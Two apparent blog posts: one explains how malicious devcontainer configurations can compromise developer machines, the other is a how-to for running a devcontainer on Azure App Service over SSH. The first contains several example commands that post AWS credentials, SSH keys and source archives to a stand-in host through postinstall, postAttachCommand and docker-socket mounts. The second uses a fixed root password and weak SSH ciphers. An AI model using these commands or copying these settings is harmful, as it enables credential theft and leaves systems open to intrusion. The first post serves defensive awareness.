To quote Scott Hanselman "Visual Studio Code Remote Development may change everything". They are a great way to build consistent development environments which can massively lower the friction for new people to contribute to a code base.

That said, they do create new paths to exploiting developer's machines and devcontainers are often opaque to existing security scanning tooling. This post is not about a specific vulnerability in devcontainers but more what potential paths to exploitation devcontainers represent.

It is also becoming increasingly common for open source projects to include devcontainer configuration in their projects, acclimatising developers to running new forms of potentially untrusted code on their local machines.

This post focusses on Visual Studio Code Remote Containers that run in Docker on a developers machine.

Compromising a developer's machine can lead to further compromise. Developer machines will often contain a number of credentials that allow developers to do their work e.g. SSH keys, AWS / GCE / Azure credentials, AD tokens etc. If these credentials are inside the devcontainer they are usually stored in the clear as the devcontainer docker container often does not have access to the host's credential manager.

Developers quite often have elevated access both to their local machines as well as resources on the network making them an attractive target (after sys admins).

Risks as a result of compromising a developer's machine include:

• Exfiltration of source code
• Exfiltration or exploitation of developer credentials e.g. SSH Keys, AWS / GCE / Azure credentials etc.
• Lateral movement inside the network

Your devcontainer is compromised if an attacker can execute malicious code inside it. Here are some of the ways this could happen.

At build or install time#

Running any install or build commands in a code base could result in malicious code being executed e.g.:

• npm / yarn
• msbuild
• mvn / ant / gradle
• etc.

e.g. in a package.json you could have:

{  "name": "super-useful-open-source-tool",  "scripts": {    // runs after npm install. a smart attacker would obfuscate this a little more    "postinstall": "curl very-innocent.url -d @~/.aws/credentials"  }}

An attacker could also use a supply chain attack via a compromised dependency or use dependency confusion to introduce malicious code when the application is run.

Note, this kind of attack applies to running code outside of the devcontainer too.

Untrusted devcontainer images#

Devcontainers allow you to use arbitrary docker images as your development environment. If these have been compromised, it is trivial for attackers to run malicious code inside your devcontainer.

postCreateCommand, postStartCommand, postAttachCommand#

devcontainer.json allows you to configure a number of commands that can run in the devcontainer docker container after the container is created, after the container has started and after Visual Studio Code attaches to the container. These are postCreateCommand, postStartCommand and postAttachCommand respectively.

e.g. a devcontainer.json file with this config this would upload all of the contents of the working directory including local .env, .npmrc files etc. whenever Visual Studio Code attaches to the container.

{    // send all the source inside the devcontainer somewhere. a smart attacker would obfuscate this a little more.    "postAttachCommand": "tar -czvf /tmp/debug.tgz . && curl very-innocent.url --data-binary @/tmp/debug.tgz",}

Malicious extensions#

Malicious extensions can be used to run arbitrary code in whichever environment Visual Studio Code is running in including devcontainers.

Devcontainers can offer an additional layer of protection for a developers host machine but a number of common practices can make it easy to read files, write files or execute code on the host machine.

Docker-from-docker#

If your devcontainer does docker-from-docker i.e. where the host docker socket is mounted into the devcontainer, an attacker has almost unfettered access to the host machine e.g. the following devcontainer.json could be used to upload your ssh keys to a remote location even if you're only sharing them into the container via an ssh-agent.

{    "mount": [ "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" ],    "postAttachCommand": "chmod a+x /var/run/docker.sock && docker run -v ${localEnv:HOME}:/tmp/home curlimages/curl very-innocent.url -d @/tmp/home/.ssh/id_rsa"}

Docker-in-docker#

Docker-in-docker is another way to run docker inside a docker container. Unfortunately, it requires that you run the container in --privileged mode which also opens your host operating system to attack. This Trend Micro article Why A Privileged Container in Docker Is a Bad Idea describes why privileged containers are problematic.

Mounts#

It's common to mount host machine directories into the devcontainer docker container. Usually this is only the source directory but any path on the host machine could be mounted into the container e.g. the mount in this example is straight from the Microsoft docs on advanced containers which binds a users home directory into the container so it wouldn't look that unusual. Developer home directories often contain things like SSH keys, AWS credentials etc.

The following could upload a developers ssh key on the host to a remote location

{    "mounts": [        "source=${localEnv:HOME}${localEnv:USERPROFILE},target=/host-home-folder,type=bind,consistency=cached"    ],    "postAttachCommand": "curl very-innocent.url -d /host-home-folder/.ssh/id.rsa"}

initializeCommand#

initializeCommand inside the devcontainer.json file will run on the host machine e.g. this would upload a developers ssh key on the host machine to a remote location:

{    "installCommand": "curl very-innocent.url -d ${localEnv:HOME}.ssh/id.rsa"}

• Avoid running untrusted devcontainers
• If you do run untrusted devcontainers e.g. from open source projects, inspect the devcontainer configuration and look out for:
  • malicious commands
  • suspicious dependencies
  • suspicious docker images
  • suspicious mounts
  • suspicious extensions
• Only mount what you need into the devcontainer docker container
• Don't use docker-from-docker
• Update your devcontainer images regularly to pull security patches
• Run SCA tools against the dependencies inside your devcontainers
• Scan your devcontainer docker images
• Only use trusted devcontainer docker images

The latest version of Visual Studio Code now shows this warning when opening a new folder.

I love Visual Studio Code devcontainers. I was curious if you could use an App Service with a custom container as a remote devcontainer.

What follows are instructions on how to get a remote devcontainer running in an App Service over SSH.

Creating an app service compatible devcontainer image#

In order to connect to your app service devcontainer via, you'll need to configure it's sshd as documented in the Configure a custom container for Azure App Service guide from Microsoft.

Port 2222ListenAddress 0.0.0.0LoginGraceTime 180X11Forwarding yesCiphers aes128-cbc,3des-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctrMACs hmac-sha1,hmac-sha1-96StrictModes yesSyslogFacility DAEMONPasswordAuthentication yesPermitEmptyPasswords noPermitRootLogin yesSubsystem sftp internal-sftp

In addition to the devcontainer setup, you'll need to add add some additional configuration to your image for it to work in an app service. Specifically you'll need to:

• Add your sshd_config
• Set the root password to Docker! Yes, this does feel wrong but it's inaccessible unless you use an Azure AD authenticated tunnel.
• Add a webserver for the app service to host, in this case I'm using nginx

# use the default microsoft dotnet 5 devcontainerFROM mcr.microsoft.com/vscode/devcontainers/dotnetcore:0-5.0
# add required packages including openssh-server and nginxRUN apt-get update \    && apt-get -y install --no-install-recommends apt-transport-https curl ca-certificates lsb-release gnupg2 openssh-server nginx
RUN echo "root:Docker!" | chpasswd
# Copy the sshd_config file to the /etc/ssh/ directoryCOPY sshd_config /etc/ssh/
# Open port 2222 for SSH accessEXPOSE 80 2222
# Start up nginx and ssh and then sleep to keep the container aliveCMD /usr/sbin/service nginx start && /usr/sbin/service ssh start && /usr/bin/sleep infinity

Connecting to your devcontainer#

First, you'll need to create a tunnel to your app service devcontainer using the following command. Include the -p option to select a fixed port as this will make it easier to connect in future.

az webapp create-remote-connection --resource-group RESOURCE_GROUP_NAME -n APP_SERVICE_NAME -p 61000

Visual Studio requires that you use a key based authentication. Copy your ssh public key to your devcontainer using the following:

# if you're on windows, use git bash for thisssh-copy-id -i ~/.ssh/id_rsa.pub -p 61000 root@localhost

To be able to pull from your git repository over ssh, you'll want to use an ssh-agent and ssh-agent forwarding. On windows, you can start your ssh-agent with the following command in a PowerShell session running as Administrator

start-ssh-agent.cmd

Install the Remote - SSH Visual Studio Code Extension.

Once it's installed, click the Remote Explorer icon on the left side of your Visual Studio Code window and click the + button to add a new SSH connection.

Type in ssh -A root@localhost -p 61000

Then right click on the new localhost target in the list and click Connect to Host in New Window

Once you're connected, open up a terminal window and run:

mkdir /workspacescd /workspacesgit clone SSH_URL_FOR_YOUR_REPOSITORY

Then click Open Folder on the left and selected /workspaces/NAME_OF_YOUR_REPO and you should be good to go.

To see a working example of the setup, have a look at https://github.com/jamiemccrindle/bicep-app-service-container

How much will this cost?#

I've picked a relatively snappy P1v3 which has 2 cores and 8GB of RAM. Assuming a working year of approximately 48 weeks, working for 5 days a week with the machine running for half the day, a devcontainer running in an app service would cost £30.95 per developer.

Troubleshooting#

My app service has restarted and I can't connect#

If your app service restarts, you'll need to copy your public ssh key again. Also, you'll have an old entry in your known_hosts file. If you try and ssh into your machine you'll see this delightful message:

$ ssh root@localhost -p 61000@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that a host key has just been changed.

Simply delete the offending line from your known hosts file. You could also switch off host key checking using StrictHostKeyChecking no and UserKnownHostsFile /dev/null in your ssh config file but you'd potentially open yourself up to man-in-the-middle attacks.

I'm having trouble getting SSH and Visual Studio Code working together#

Have a look here:

• https://code.visualstudio.com/docs/remote/ssh
• https://code.visualstudio.com/docs/remote/troubleshooting#_ssh-tips